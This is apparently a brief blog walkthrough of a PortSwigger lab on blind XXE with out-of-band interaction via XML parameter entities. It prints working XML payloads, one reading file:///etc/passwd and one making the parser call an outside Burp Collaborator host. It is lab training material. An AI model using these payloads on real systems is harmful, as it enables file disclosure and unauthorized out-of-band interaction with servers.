On this page
apsyleg1 min read
#portswigger #xxe #web-security
Blind XXE with OOB Interaction via XML Parameter Entities
Lab
Blind XXE with out-of-band interaction via XML parameter entities · Practitioner
Solution
Given
This lab has a "Check stock" feature that parses XML input, but does not display any unexpected values, and blocks requests containing regular external entities.
To solve the lab, use a parameter entity to make the XML parser issue a DNS lookup and HTTP request to Burp Collaborator.
Analyzing the task
We need to use a parameter entity to make the XML parser send a request to our Burp Collaborator server.
Recon
We find the route. In the body:
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck><productId>5</productId><storeId>1</storeId></stockCheck>
Out of curiosity, let's first try inserting a general external entity:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [<!ENTITY test SYSTEM 'file:///etc/passwd'>]>
<stockCheck><productId>5&test;</productId><storeId>1</storeId></stockCheck>
"Entities are not allowed for security reasons"
Exploitation
Doesn't go through — so we do it via a parameter entity:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "https://ne5p4zgdtmsrz8u7ig29c80bq2w0ku8j.oastify.com"> %xxe; ]>
<stockCheck><productId>5</productId><storeId>1</storeId></stockCheck>
Lab solved!
More in this category
Arbitrary Object Injection in PHP (PortSwigger Lab)
Recovering leaked source code and injecting a serialized CustomTemplate object whose __destruct deletes an arbitrary file.
Using Application Functionality to Exploit Insecure Deserialization (PortSwigger Lab)
Tampering with the `avatar_link` field in the session object to delete an arbitrary file via the account-delete feature.
Modifying Serialized Data Types (PortSwigger Lab)
Abusing PHP loose comparison by changing the `access_token` type to integer `0` to bypass authentication.